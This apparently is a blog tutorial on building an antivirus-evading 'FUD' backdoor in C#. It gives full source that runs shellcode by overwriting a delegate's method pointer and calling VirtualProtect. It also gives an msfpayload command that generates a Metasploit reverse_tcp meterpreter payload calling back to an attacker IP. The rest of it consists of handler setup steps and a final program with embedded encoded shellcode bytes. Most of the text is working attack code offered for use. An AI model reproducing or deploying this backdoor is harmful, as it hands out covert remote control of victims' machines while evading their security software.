FUD C# Backdoor: Authors
FUD C# Backdoor: Authors
FUD C# Backdoor: Authors
http://www.movediedi.blogspot.com/
Authors:
n3k (n3k1990@gmail.com) Twitter: @kiqueNissim X_Typhon (xtyphon@gmail.com) Twitter: @lintuxt
31/12/2012
I watched a presentation video from Matias Katz which took place in Campus Party Colombia 2012 where he basically showed how to craft an undetectable backdoor by using a reverse_tcp meterpreter and C#. For those who dont know, Im a C# fan :D. Here is the vid if you'd like to watch it: https://www.youtube.com/watch?feature=player_embedded&v=e2Ih67nR7RY#!
To sum up he said that given the fact that most AVs detects meterpreter, the only way of making it undetectable was to embed it into something else, like a new program. His approach consists in importing the metasploit-generated reverse_tcp.exe file as a resource into a new C# application. So when the program starts, first, loads the resource as a stream of bytes, then, writes a new exe file with them and last but not least, launch a new different process. Even with all that, several AVs classified the C# app as malicious 9/42 detections in http://virustotal.com. Regardless of the above, the first thing I did after the video finished was to reproduce the concept. Sadly, when I started the program my Avast jumped in as a jedi killing the malicious process. I will now describe the solution which X_Typhon and I developed for overcoming the 43 AVs at current time: Our approach is quite simple: it is based on the possibility of executing assembler code from C#. This is an example code:
using System; using System.Reflection; using System.Runtime.InteropServices; namespace ExecutingASM { class Program { [DllImport("kernel32.dll", SetLastError = true)] //[DllImport("kernel32.dll")] static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); public delegate uint BadDelegate(uint address); static uint StubMethod(uint arg1) { return 0; } public static byte[] asmBytes = new byte[] { 0x8b,0xff, //mov edi, edi 0x8b,0xc2, //mov eax, edx 0x81,0xc0,0x0a,0x00,0x00,0x00, //add eax, 0x0a 0xc3 //ret };
unsafe static void Main(string[] args) { fixed (byte* startAddress = &asmBytes[0]) // Take the address of our x86 code { // Get the FieldInfo for "_methodPtr" Type delType = typeof(Delegate); FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance); // Set our delegate to our x86 code BadDelegate del = new BadDelegate(StubMethod); _methodPtr.SetValue(del, (IntPtr)startAddress); //Disable protection uint outOldProtection; VirtualProtect((IntPtr)startAddress, (uint)asmBytes.Length, 0x40, out outOldProtection); // Execute uint n = (uint)0x00000001; n = del(n); Console.WriteLine("0x0{0:x}", n); Console.ReadKey(); } } } }
Remember to check the Allow Unsafe Code in the projects properties, otherwise it wont compile. If you run this application a new Console will pop up showing the value 0x0b... why?... Basically what this code does is: 1. 2. 3. 4. Creates a delegate. Adds the StubMethod to the chain. By means of reflection, changes the delegates callback to point to asmBytes. Changes the page memory protection to PAGE_EXECUTE_READWRITE.
5. Executes the delegate. Now in detail: First things first The unsafe is needed because of the raw pointers operations.
The fixed statement prevents the garbage collector from relocating a movable variable. In this case, asmBytes must not be relocated.
The _methodPtr is a private member from System.Delegate which points to the code to get executed by the delegate. FieldInfo exposes a SetValue method which allow us to set the _methodPtr member to an arbitrary value. This is pretty much like CVE-2012-4681.
Due to asmBytes it is placed in a non-executable memory zone, we have to issue a call to VirtualProtect(), otherwise we will get a runtime exception.
The delegate signature is: public delegate uint BadDelegate(uint address) This means that only methods with the same signature can be added to its internal list. Thats why StubMethod receives & returns uint. In the CLR the calling convention is fastcall, so the first
parameter (the object instance) goes in ECX while the second goes in EDX.
The program initializes a new variable "n" to 0x00000001 and is passed as an argument to the delegate. The assembler code picks the arg from EDX and adds 0x0a. By now it should be clear how the application works. What would happen if we put the opcodes of the meterpreter? This is the actual & final code:
using System; using System.Reflection; using System.Runtime.InteropServices; using System.IO; namespace ExecutingASM { class Program { [DllImport("kernel32.dll", SetLastError = true)] //[DllImport("kernel32.dll")] static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); public delegate uint BadDelegate(uint address); static uint StubMethod(uint arg1) { return 0; } public static byte[] ReadPayload() { using(Stream myStream = new FileStream(Environment.CurrentDirectory + "/payload", FileMode.Open)) { var length = myStream.Length; var result = new byte[length]; myStream.Read(result, 0, (int) length); return result; } } public static byte[] Payload = ReadPayload(); unsafe static void Main(string[] args) { fixed (byte* startAddress = &Payload[0]) // Take the address of our x86 code { // Get the FieldInfo for "_methodPtr" Type delType = typeof(Delegate); FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance); // Set our delegate to our x86 code
BadDelegate del = new BadDelegate(StubMethod); _methodPtr.SetValue(del, (IntPtr)startAddress); //Disable protection uint outOldProtection; VirtualProtect((IntPtr)startAddress, (uint)Payload.Length, 0x40, out outOldProtection); // Enjoy uint n = (uint)0x00000001; n = del(n); Console.WriteLine("\n0x0{0:x}", n); Console.ReadKey(); } } } }
The main difference is that instead of hardcoding opcodes in the program, we read a file as a stream of bytes. This makes a light coupling code : ). Lets assume our attacking machine is running a backtrack and has a NIC 192.168.1.2; Run the following in order to get the metasploit backdoor:
root@bt:/pentest/exploits/framework# msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 R | msfencode -e x86/shikata_ga_nai -c 10 -t raw -o payload Notice the raw output format
Next, copy the file to the same location of the application. Before executing it remember to start a metasploit handler in the backtrack: 1. 2. 3. 4. 5. Start msfconsole Enter use exploit/multi/handler Enter set payload windows/meterpreter/reverse_tcp Enter set lhost 192.168.1.2 Enter exploit
Execute the C# app and you should get a new session opened on the attacking machine :).
static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); public delegate uint Ret1ArgDelegate(uint address); static uint PlaceHolder1(uint arg1) { return 0; } public static byte[] asmBytes = new byte[] { 0xdd,0xc5,0xd9,0x74,0x24,0xf4,0x5b,0x29,0xc9,0xb1,0x86,0xba,0x6d,0x73, 0x6a,0xf3,0x31,0x53,0x18,0x03,0x53,0x18,0x83,0xc3,0x69,0x91,0x9f,0x2a, 0x9b,0xed,0xab,0xa3,0x43,0x62,0xf5,0x48,0x57,0x8e,0x5e,0x9a,0x5e,0xdf, 0x1e,0x5f,0xa3,0x24,0xd0,0x1c,0x36,0x26,0x51,0xb6,0x11,0xb3,0xf7,0xe2, 0x64,0x74,0x56,0x69,0xf9,0x9b,0xab,0xd6,0xee,0x10,0x5e,0x8f,0x52,0xa1, 0x39,0xff,0x52,0x6a,0xf4,0xde,0x99,0xc7,0x58,0x83,0x15,0xda,0x7d,0x2e, 0xa4,0x57,0xdf,0xe2,0xad,0x32,0xa7,0x3b,0xf5,0x3c,0x8f,0x1c,0xaa,0x39, 0x88,0x30,0xb1,0xb2,0x7d,0x7c,0x27,0x09,0x2f,0xbd,0xd8,0x45,0xca,0x96, 0xae,0x1e,0x92,0x16,0xef,0x05,0xa0,0x7a,0xd4,0xfd,0x44,0x3d,0x23,0x06, 0x93,0x3f,0x3b,0x72,0x49,0xc1,0x8c,0x4b,0x53,0x04,0xaa,0xb7,0x71,0x3f, 0x93,0x50,0x68,0xa0,0x75,0x4b,0x50,0x8f,0x7d,0x58,0x07,0x0f,0x78,0xfa, 0x56,0xdd,0x2a,0x45,0xa3,0x7f,0x10,0xfe,0xfe,0x6d,0x9b,0x81,0xc5,0x05, 0x5f,0x23,0xf8,0x9f,0xd1,0x0a,0xb1,0x96,0xf4,0xce,0x7b,0x00,0x62,0x8a, 0x5a,0x6f,0xa6,0x64,0x19,0x63,0xfd,0x3d,0x09,0x87,0x8f,0x9f,0xb6,0x5b, 0x17,0xb2,0x5f,0xe0,0x79,0x84,0x03,0x59,0x19,0x45,0xb8,0x91,0x76,0x2d, 0x9d,0xb5,0x82,0xc3,0x5d,0x57,0x6d,0x71,0x31,0xb5,0x99,0x59,0xc5,0xd5, 0x1b,0xdd,0xdb,0x2a,0x96,0xe4,0xc7,0xc5,0xec,0x17,0xd0,0xfb,0x17,0x97, 0x7f,0xa1,0x32,0x00,0x07,0x76,0x1b,0x98,0xeb,0x3e,0x1e,0xce,0xc3,0x35, 0x62,0x45,0x09,0x58,0xff,0x36,0x4c,0xe0,0x07,0x74,0xfa,0x36,0xf1,0x97, 0xbd,0x24,0xdc,0x47,0x60,0x88,0xc4,0xab,0x55,0x33,0xc8,0xf0,0x62,0x68, 0xe2,0x49,0x49,0x0b,0xef,0x1c,0x2f,0x0b,0xc0,0xe0,0xc2,0x9a,0x6c,0xd7, 0xee,0x21,0x5c,0x7e,0xe6,0xfe,0xc2,0x22,0xbc,0xda,0x84,0x45,0x57,0x1b, 0xd2,0x55,0x0a,0xc7,0x15,0x8b,0x36,0x62,0x53,0xb3,0x6c,0x57,0x8f,0x9e, 0xd7,0x9d,0xe3,0x86,0xeb,0x0e,0xb3,0xb6,0x9c,0xff,0xbd,0x45,0x56,0x1f, 0xda,0x64,0x5e,0xa4,0x63,0x49,0xb4,0xf4,0x56,0xb5,0xa3,0x4b,0xb4,0x47, 0x16,0xbd,0x55,0x0e,0xd6,0x80,0x96,0xb6,0xd3,0x7b,0x32,0x83,0x1b,0x9e, 0x41,0x84,0xaf,0x6c,0x51,0x76,0x92,0x3b,0x62,0x8b,0x2d,0x0a,0xc9,0x22, 0x6f,0xf0,0x81,0x54,0x5f,0x68,0x07,0x1a,0xc3,0x8d,0xfe,0x96,0x24,0x5b, 0xcb,0x7f,0xc6,0xa9,0x0b,0xa0,0x08,0x68,0x7f,0x2b,0x2e,0x4f,0x91,0x04, 0xc4,0x7a,0xcd,0xff,0x03,0x65,0xfe,0x0a,0x23,0x30,0xbd,0x1d,0xc4,0x30, 0x1c,0x5a,0x5a,0x08,0xbd,0x86,0x32,0xd8,0xab,0xd7,0x4a,0x68,0x85,0xe1, 0x76,0xdd,0x85,0x69,0x78,0xd2,0x1b,0xad,0xb0,0xcd,0x9d,0x69,0xaa,0x56, 0xa7,0x03,0xd4,0xcf,0x51,0x9e,0xeb,0x63,0x35,0x43,0x32,0xa2,0x30,0x85, 0x9c,0x15,0xfd,0x2c,0xad,0x9c,0x39,0x31,0x30,0xc8,0x73,0xb0,0x7b,0xde, 0xf0,0x65,0x23,0x07,0x2d,0xc0,0xb8,0xfb,0x9f,0xe0,0x06,0x31,0xae,0x43, 0xa9,0x7b,0xc4,0x54,0xef,0x75,0x6d,0x07,0x39,0x3c,0x36,0x20,0xf9,0x31, 0x04,0x79,0x86,0x82,0x65,0xa0,0x13,0x2c,0xd2,0xfe,0x6b,0x3b,0x53,0x03, 0xe5,0xbd,0x8b,0x36,0x04,0x51,0x98,0xc8,0x4b,0x5e,0x70,0xd9,0xcf,0x41, 0x48,0x84,0xa9,0x5d,0x02,0x78,0x5e,0xfe,0x1d,0x11,0xe4,0xad,0x7c,0x24, 0xbf,0x23,0x0a,0xbf,0x12,0xf3,0xc8,0x7b,0x16,0xd1,0x31,0x13,0x2c,0x39 }; unsafe static void Main(string[] args) { fixed (byte* startAddress = &asmBytes[0]) // Take the address of our x86 code { // Get the FieldInfo for "_methodPtr" Type delType = typeof(Delegate); FieldInfo _methodPtr = delType.GetField("_methodPtr", BindingFlags.NonPublic | BindingFlags.Instance); // Set our delegate to our x86 code Ret1ArgDelegate del = new Ret1ArgDelegate(PlaceHolder1); _methodPtr.SetValue(del, (IntPtr) startAddress);
//Disable protection uint outOldProtection; VirtualProtect((IntPtr) startAddress, (uint) asmBytes.Length, 0x40, out outOldProtection); // Enjoy uint n = (uint)0x00000001; n = del(n); Console.WriteLine("{0:x}", n); Console.ReadKey(); } } } }
As you can see, the opcodes were hardcoded in the application so it gives virustotal.com a chance xD These are the results:
You can foresee what would happen if you upload the decoupled version. Thats all for now Happy New Year!!! Cheerz!! References: http://www.atrevido.net/blog/PermaLink.aspx?guid=ac03f447-d487-45a6-8119dc4fa1e932e1 http://www.devjoker.com/print/Tutorial-C/159/Tutorial-C.aspx http://msdn.microsoft.com/en-us/library/f58wzh21.aspx http://msdn.microsoft.com/es-es/library/6z33zd7h.aspx http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898%28v=vs.85%29.aspx http://www.pinvoke.net/default.aspx/kernel32.VirtualProtect Pro C# 2010 and the .NET 4 Platform 5th Edition Apress - Andrew Troelsen